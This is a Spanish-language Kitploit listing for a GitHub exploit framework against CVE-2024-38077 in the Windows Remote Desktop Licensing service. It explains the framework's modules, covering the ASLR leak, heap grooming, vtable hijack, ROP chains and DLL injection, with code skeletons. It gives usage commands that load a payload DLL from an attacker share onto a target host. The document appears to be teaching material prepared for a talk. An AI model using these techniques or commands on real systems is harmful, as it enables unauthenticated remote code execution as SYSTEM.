Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-38077-MadLicense-exploit — Framework de exploits modular para CVE-2024-38077 (desbordamiento de montón de RDL de Windows) con bypass de ASLR, preparación de montón, generación de cadenas ROP y cargas útiles de inyección de DLL para ejecución remota de código sin autenticación previa. | Kitploit
Herramientas/GitHubGitHub/ermensonx/cve-2024-38077-madlicense-exploit
Frameworks de ExploitsAnálisis de VulnerabilidadesExplotaciónIngeniería InversaShellcodePruebas de PenetraciónAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubermensonx/cve-2024-38077-madlicense-exploit

CVE-2024-38077-MadLicense-exploit

Framework de exploits modular para CVE-2024-38077 (desbordamiento de montón de RDL de Windows) con bypass de ASLR, preparación de montón, generación de cadenas ROP y cargas útiles de inyección de DLL para ejecución remota de código sin autenticación previa.

Ver Repositorio
14hace 8 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-38077 MadLicense - Framework de Explotación Completo

📚 Documentación Técnica para Presentación

Este documento explica cada componente del framework, por qué existe, y cómo funciona la explotación de heap buffer overflow en Windows moderno.


🎯 ¿Qué Es CVE-2024-38077?

La Vulnerabilidad

El Windows Remote Desktop Licensing Service (lserver.exe) contiene un heap buffer overflow en la función CDataCoding::DecodeData.

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  VULNERABILIDAD: Cálculo incorrecto de tamaño             │
├─────────────────────────────────────────────────────────────┤
│  1. Cliente envía datos Base64 de tamaño N                │
│  2. Servidor calcula: buffer_size = (N / 4) * 3            │
│  3. Servidor asigna buffer de 'buffer_size' bytes          │
│  4. Decode Base64 REALMENTE escribe: ceil(N * 3/4) bytes   │
│  5. Si N no es múltiplo de 4: ¡OVERFLOW!                   │
└─────────────────────────────────────────────────────────────┘

Ejemplo concreto:

  • Input: 4001 bytes
  • Cálculo servidor: (4001 / 4) * 3 = 1000 * 3 = 3000 bytes asignados
  • Decode real: ceil(4001 * 0.75) = 3001 bytes escritos
  • Overflow: 1 byte (pero controlable para más)

¿Por Qué Es Crítico?

  1. Pre-Auth: No necesita credenciales
  2. Remoto: Vía red, puerto 135 (RPC)
  3. SYSTEM: Servicio corre como NT AUTHORITY\SYSTEM
  4. Común: Windows Server 2000-2025 afectados

🏗️ Arquitectura del Framework

Visión General de los Módulos

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                      EXPLOIT CHAIN                              │
├──────────┬──────────┬──────────┬──────────┬──────────┬─────────┤
│  LEAK    │  MODEL   │  WRITE   │  GROOM   │ TRIGGER  │ EXECUTE │
│ (ASLR)   │ (Target) │ (Where)  │ (Heap)   │ (Use)    │ (RCE)   │
├──────────┼──────────┼──────────┼──────────┼──────────┼─────────┤
│ leak.py  │target_   │write_    │heap_     │trigger   │code_    │
│          │model.py  │primitive │controller│.py       │reuse.py │
│          │          │.py       │.py       │          │         │
└──────────┴──────────┴──────────┴──────────┴──────────┴─────────┘
          ↓                                              ↓
    ┌───────────┐                              ┌──────────────┐
    │ execution │                              │   payload    │
    │   .py     │                              │     .py      │
    └───────────┘                              └──────────────┘
          ↓                                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                    mitigations.py                         │
    │              (DEP, ASLR, CFG awareness)                   │
    └───────────────────────────────────────────────────────────┘
                              ↓
    ┌───────────────────────────────────────────────────────────┐
    │                      exploit.py                           │
    │                   (Orchestrator)                          │
    └───────────────────────────────────────────────────────────┘

📦 Módulo 1: primitives.py - Fundación

¿Qué Es?

Utilidades de bajo nivel para manipulación de memoria.

¿Por Qué Existe?

Los exploits necesitan:

  • Convertir entre tipos (int ↔ bytes)
  • Generar patrones para crash analysis
  • Alinear datos correctamente

Funciones Principales

root@kitploit:~
# Pack/Unpack - Convertir enteros a bytes y viceversa
p64(0xDEADBEEF)      # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p32(0x41414141)      # → b'AAAA'
u64(b'\x41\x42...')  # → 0x... (int)

# Patrón Cíclico - Para identificar offset de crash
cyclic(100)          # Genera secuencia De Bruijn
cyclic_find(pattern, value)  # Encuentra offset del valor

# Alineación - Memoria necesita estar alineada
align(0x1003, 0x10)  # → 0x1010 (alinea a 16 bytes)

¿Por Qué Esto Importa?

Problema real: Causas un crash y el RIP contiene 0x61616171.

  • Sin cyclic: "En algún lugar de mi buffer..."
  • Con cyclic: cyclic_find(pattern, 0x61616171) → ¡offset exacto!

📦 Módulo 2: leak.py - Bypass de ASLR

¿Qué Es ASLR?

Address Space Layout Randomization: En cada boot/ejecución, las direcciones cambian.

root@kitploit:~
Boot 1:  ntdll.dll @ 0x7FFA12340000
Boot 2:  ntdll.dll @ 0x7FFB98760000
Boot 3:  ntdll.dll @ 0x7FFC55550000

¿Por Qué Necesitamos Leak?

Sin saber dónde está la memoria:

  • No sabemos dónde colocar payload
  • No sabemos dirección de los gadgets ROP
  • Cualquier intento = crash aleatorio

Estructura del Módulo

root@kitploit:~
class LeakInfo:
    """Contenedor para direcciones filtradas"""
    heap_base: int         # Base del heap
    ntdll_base: int        # Base de ntdll.dll
    kernel32_base: int     # Base de kernel32.dll
    # ...

class LeakProvider:
    """Orquestador de fuentes de leak"""
    sources: List[LeakSource]
    
    def obtain() -> LeakInfo:
        # Intenta cada fuente hasta conseguirlo

Fuentes de Leak Implementadas

FuenteCómo FuncionaCuándo Usar
ManualLeakSourceUsuario proporciona direccionesLab/Debug con acceso al objetivo
ResponseLeakSourceExtrae de respuestas RPCSi el servicio filtra punteros
TimingLeakSourceSide-channel de tiempoTeórico, muy difícil

¿Por Qué Input Manual?

En demostraciones/labs, puedes:

  1. Adjuntar depurador al objetivo
  2. Ver base de los módulos
  3. Proporcionar vía --ntdll-base 0x7ffa...

Esto simula tener un leak real, permitiendo probar el resto de la cadena.


📦 Módulo 3: target_model.py - Mapeo del Objetivo

¿Qué Es?

Modelado de las estructuras de datos vulnerables y adyacentes.

¿Por Qué Existe?

Overflow ≠ Explotación. Necesitamos saber:

  • ¿Qué estamos sobrescribiendo?
  • ¿Cuál es el tamaño del objeto?
  • ¿Qué campo es útil corromper?

Componentes

root@kitploit:~
class VulnerableBuffer:
    """El buffer que va a sufrir overflow"""
    allocation_size: int   # Cuánto se asignó
    write_size: int        # Cuánto se escribirá
    overflow_amount: int   # Diferencia = overflow
    
    def calculate_overflow(input_size):
        # Simula el bug de cálculo
        alloc = (input_size // 4) * 3
        actual = ((input_size + 3) // 4) * 3
        return alloc, actual, actual - alloc

class AdjacentObject:
    """Objeto que será corrompido (adyacente en el heap)"""
    fields: List[StructField]
    has_vtable: bool       # ¿Tiene tabla virtual?
    has_function_ptr: bool # ¿Tiene puntero de función?

Ejemplo de Estructura Objetivo

root@kitploit:~
# Objeto hipotético basado en análisis reverso
license_req = AdjacentObject(
    name="CLicenseRequest",
    typical_size=0x100,
    has_vtable=True
)

# Campos mapeados
license_req.add_field("vtable",   0x00, 8, VTABLE,   is_target=True)
license_req.add_field("refcount", 0x08, 4, REFCOUNT)
license_req.add_field("callback", 0x10, 8, CALLBACK, is_target=True)

¿Por Qué is_target=True?

Marca campos útiles para explotación:

  • vtable: Si sobrescribimos, controlamos llamadas de método
  • callback: Si sobrescribimos, controlamos cuando se llama al callback

📦 Módulo 4: write_primitive.py - Escritura Controlada

El Problema

Overflow escribe datos secuenciales. Pero necesitamos:

  • Escribir valor específico (dirección de nuestro ROP)
  • En offset específico (donde está el puntero vtable)

La Solución

root@kitploit:~
class WritePrimitive:
    def build_overflow_data(self) -> bytes:
        """
        Construye buffer de overflow con valores precisos
        
        Layout:
        [PADDING hasta offset] [VALOR CONTROLADO] [MÁS DATOS]
        """
        data = bytearray(b"A" * max_offset)
        
        for target in self.targets:
            # Coloca valor exacto en el offset exacto
            data[target.offset:target.offset+8] = p64(target.value)
        
        return bytes(data)

Tipos de Overwrite

root@kitploit:~
# Sobrescribir vtable
write_primitive.set_vtable_overwrite(
    vtable_addr=fake_vtable_address,
    obj_name="CLicenseRequest"
)

# Sobrescribir callback
write_primitive.set_callback_overwrite(
    callback_addr=gadget_address
)

¿Por Qué No Basta Escribir Basura?

EscrituraResultado
AAAA...Crash sin control
Dirección precisa en offset precisoEjecución controlada

📦 Módulo 5: heap_controller.py - Heap Grooming

El Desafío del Heap Moderno

Windows usa LFH (Low Fragmentation Heap) y Segment Heap:

  • Asignaciones aleatorizadas
  • Layout no predecible
  • Heap guards detectan corrupción

La Solución: Grooming

Grooming = Masajear el heap para layout determinista.

root@kitploit:~
ANTES DEL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│ ?? │ ?? │ ?? │ ?? │ ?? │ ?? │
└────┴────┴────┴────┴────┴────┘
Asignaciones aleatorias, agujeros impredecibles

DESPUÉS DEL GROOMING:
┌────┬────┬────┬────┬────┬────┐
│SPAM│SPAM│HOLE│SPAM│SPAM│HOLE│
└────┴────┴────┴────┴────┴────┘
Layout controlado, "agujeros" donde queremos

Fases del Grooming

root@kitploit:~
class HeapLayoutController:
    def execute_full_groom(self):
        # Fase 1: Rellenar agujeros existentes
        self.phase_fill(50)
        
        # Fase 2: Activar LFH para el bucket objetivo
        # (Windows activa LFH después de ~17 asignaciones del mismo tamaño)
        self.phase_activate_lfh()
        
        # Fase 3: Spray - crear patrón denso
        sprayed = self.phase_spray(200)
        
        # Fase 4: Crear agujeros estratégicos
        # Liberamos cada N asignaciones
        self.phase_create_holes(sprayed, interval=4)
        
        # Fase 5: Estabilizar
        self.phase_stabilize()

¿Por Qué Funciona?

  1. Rellenamos el heap con objetos nuestros
  2. Creamos "agujeros" a intervalos regulares
  3. Cuando el servidor asigna el buffer vulnerable...
  4. ...alta probabilidad de caer en un agujero
  5. ...adyacente a un objeto nuestro que podemos corromper

📦 Módulo 6: trigger.py - Gatillo Post-Corrupción

El Problema

Corrupción ocurrió. ¿Y ahora?

root@kitploit:~
Estado actual:
- Memoria corrompida ✓
- Valor malicioso escrito ✓
- ¡Pero nadie USÓ ese valor todavía!

La Solución: Forzar Uso

Necesitamos que el programa lea y use el dato corrompido.

root@kitploit:~
class PostCorruptionTrigger:
    strategies: List[TriggerStrategy]
    
# Estrategias implementadas:

class SecondRequestTrigger:
    """Hace segunda llamada RPC que usa objeto corrompido"""
    
class DestructorTrigger:
    """Desconecta - fuerza cleanup que usa punteros corrompidos"""
    
class TimerTrigger:
    """Espera timer interno procesar estado corrompido"""

Flujo Típico

root@kitploit:~
1. Primera llamada RPC → Corrupción ocurre
2. Disconnect (trigger) → Server llama destructor
3. Destructor lee vtable corrompida → Llama nuestra dirección
4. ¡Ejecución controlada!

📦 Módulo 7: execution.py - Control de Flujo

El Objetivo: Hijacking de RIP/EIP

RIP (x64) o EIP (x86) = Instruction Pointer

Si controlamos el instruction pointer, controlamos la ejecución.

Métodos de Hijacking

root@kitploit:~
class HijackMethod(Enum):
    VTABLE = 0       # Más común en heap overflow
    FUNCTION_PTR = 1 # Callback pointer
    RETURN_ADDR = 2  # Stack overflow (no es nuestro caso)

Vtable Hijacking Explicado

root@kitploit:~
OBJETO NORMAL:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ method1 address  │ ← Legítimo
│             │     │ method2 address  │
└─────────────┘     └──────────────────┘

TRAS CORRUPCIÓN:
┌─────────────┐
│ vtable* ────┼───→ ┌──────────────────┐
│ data...     │     │ GADGET ADDR      │ ← ¡NUESTRO!
│             │     │ GADGET ADDR      │
└─────────────┘     └──────────────────┘

¡Cuando method1 es llamado → Ejecuta nuestro gadget!

Stack Pivot

Problema: vtable hijack nos da UNA call. Necesitamos más.

Solución: Stack Pivot

root@kitploit:~
# Gadget que cambia RSP a donde tenemos ROP chain
xchg rax, rsp; ret  # RAX = nuestra dirección → RSP = nuestra dirección

# ¡Ahora el "stack" es nuestra área controlada!
# Cada RET salta al siguiente gadget de nuestra ROP chain

📦 Módulo 8: code_reuse.py - ROP Chains

¿Por Qué ROP?

DEP (Data Execution Prevention): Heap y Stack son NO EJECUTABLES.

root@kitploit:~
Shellcode en heap → CRASH (access violation - execute)

Solución: Reutilizar Código Existente

ROP = Return-Oriented Programming

Encadenamos "gadgets" - pequeños trozos de código que terminan en RET.

root@kitploit:~
GADGET 1: pop rcx; ret    ← Coloca valor en RCX
GADGET 2: pop rdx; ret    ← Coloca valor en RDX
GADGET 3: call LoadLibraryA ← ¡Llama función!

Cómo Se Encadenan Los Gadgets

root@kitploit:~
STACK/ROP CHAIN (nuestra área controlada):
┌────────────────────┐
│ addr de pop_rcx    │ ← RSP apunta aquí
├────────────────────┤
│ valor para RCX     │ ← Será "popado" a RCX
├────────────────────┤
│ addr de pop_rdx    │ ← RET va aquí
├────────────────────┤
│ valor para RDX     │
├────────────────────┤
│ addr LoadLibraryA  │ ← Finalmente llama!
└────────────────────┘

Chains Implementadas

root@kitploit:~
# Cargar DLL (DLL Injection)
build_load_library(dll_path_addr) → ROP chain

# Asignar memoria ejecutable
build_virtual_alloc(size) → ROP chain + RAX = dirección RWX

# Ejecutar comando
build_winexec(cmd_addr) → ROP chain

📦 Módulo 9: payload.py - Payload Semántico

Diferencia: Datos vs Intención

TipoEjemploResultado
DatosAAAAAA...Crash
IntenciónROP + DLL pathDLL cargada

Tipos de Payload

root@kitploit:~
class PayloadIntent(Enum):
    CRASH_TEST = 0    # Verificar si explotación funciona
    DLL_INJECT = 1    # Cargar nuestra DLL
    COMMAND_EXEC = 2  # Ejecutar comando
    SHELLCODE = 3     # Ejecutar shellcode vía ROP

Construcción de Payload para DLL Injection

root@kitploit:~
def build_dll_inject(dll_path: str) -> bytes:
    """
    Estructura final:
    
    ┌──────────────────────────────┐
    │ ROP Chain (LoadLibraryA)    │ ← Ejecuta primero
    ├──────────────────────────────┤
    │ Padding                      │
    ├──────────────────────────────┤
    │ "\\attacker\share\pay.dll\0"│ ← String de la ruta
    └──────────────────────────────┘
    
    La ROP chain pasa la dirección de la string a LoadLibraryA
    """

📦 Módulo 10: mitigations.py - Conciencia de Mitigaciones

Mitigaciones de Windows Moderno

MitigaciónQué HaceNuestro Bypass
DEPHeap/Stack no ejecutableROP (reuso de código)
ASLRDirecciones aleatorizadasInfo leak
CFGValida destinos de callsLlamar destinos válidos, luego pivot
Stack CookieDetecta stack overflowNo usamos stack overflow
Heap HardeningGuard pages, etcGrooming cuidadoso

Adaptación Automática

root@kitploit:~
def adapt_exploit(config):
    if mitigations.DEP.enabled:
        config["use_rop"] = True      # Obligatorio
        
    if mitigations.ASLR.enabled:
        config["require_leak"] = True # Obligatorio
        
    if mitigations.HEAP_HARDENING.enabled:
        config["spray_count"] *= 2    # Más spray

🔄 Flujo Completo de Explotación

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    FLUJO DE EXPLOTACIÓN                         │
└─────────────────────────────────────────────────────────────────┘

   STAGE 1: LEAK (ASLR Bypass)
   ├─ Obtener direcciones de memoria
   ├─ Input: manual o auto-leak
   └─ Output: LeakInfo con bases de módulos

             ↓

   STAGE 2: ANALYZE (Target Mapping)
   ├─ Calcular overflow amount
   ├─ Identificar objetos adyacentes
   └─ Determinar offsets de corrupción

             ↓

   STAGE 3: GROOM (Heap Shaping)
   ├─ Fill → Activate LFH → Spray → Holes
   ├─ Crear layout determinista
   └─ Preparar "zona de aterrizaje" para asignación vulnerable

             ↓

   STAGE 4: PAYLOAD (Build)
   ├─ Construir ROP chain
   ├─ Incluir strings/datos necesarios
   └─ Combinar con datos de overflow

             ↓

   STAGE 5: CORRUPT (Trigger Overflow)
   ├─ Enviar llamada RPC maliciosa
   ├─ Causar overflow
   └─ Sobrescribir objetivo (vtable/callback)

             ↓

   STAGE 6: TRIGGER (Force Use)
   ├─ Disconnect o segunda llamada
   ├─ Forzar uso de puntero corrompido
   └─ Hijack de ejecución

             ↓

   STAGE 7: EXECUTE (RCE)
   ├─ ROP chain ejecuta
   ├─ LoadLibraryA carga DLL
   └─ ¡CÓDIGO ARBITRARIO EJECUTÁNDOSE!

             ↓

   ┌─────────────────────────────────────────────────────────────┐
   │  RESULTADO: Shell reverso, backdoor, etc. como SYSTEM      │
   └─────────────────────────────────────────────────────────────┘

🚀 Uso Práctico

Instalación

root@kitploit:~
pip install impacket

Comandos

root@kitploit:~
# Solo verificar si el servicio está corriendo
python -m madlicense.poc -t 10.0.0.5 --check

# Dry run (no envía payload, simula todo)
python -m madlicense.poc -t 10.0.0.5 --dry-run \
    --ntdll-base 0x7ffa12340000

# DLL Injection completo
python -m madlicense.poc -t 10.0.0.5 \
    --dll "\\\\attacker\\share\\payload.dll" \
    --heap-base 0x22345670000 \
    --ntdll-base 0x7ffa12340000 \
    --kernel32-base 0x7ffa12500000

# Ejecutar calc.exe (PoC clásico)
python -m madlicense.poc -t 10.0.0.5 \
    --cmd calc.exe \
    --ntdll-base 0x7ffa12340000

⚠️ Consideraciones Éticas

Este framework es para:

  • ✅ Investigación de seguridad autorizada
  • ✅ Demostraciones educativas
  • ✅ Pruebas en entornos controlados
  • ✅ Desarrollo de mitigaciones

NO para:

  • ❌ Acceso no autorizado
  • ❌ Ataques a sistemas en producción
  • ❌ Cualquier actividad ilegal

📚 Referencias

  1. CVE-2024-38077 - Microsoft Security Advisory
  2. Windows Internals - Mark Russinovich
  3. A Guide to Kernel Exploitation - Enrico Perla
  4. Modern Windows Exploit Development - Corelan Team

🎯 Resumen para Talk

Frase clave:

"Explotar un heap buffer overflow en Windows moderno no es solo 'escribir demasiado'. Es una cadena precisa de leak → groom → corrupt → trigger → execute."

Los 9 Módulos:

  1. primitives - Herramientas de memoria
  2. leak - Bypass de ASLR
  3. target_model - Conocer el objetivo
  4. write_primitive - Escritura controlada
  5. heap_controller - Heap grooming
  6. trigger - Forzar uso de corrupción
  7. execution - Hijack de RIP
  8. code_reuse - ROP chains
  9. mitigations - Conciencia de defensas

Sin cualquiera de estos, no hay RCE.

Descargar herramienta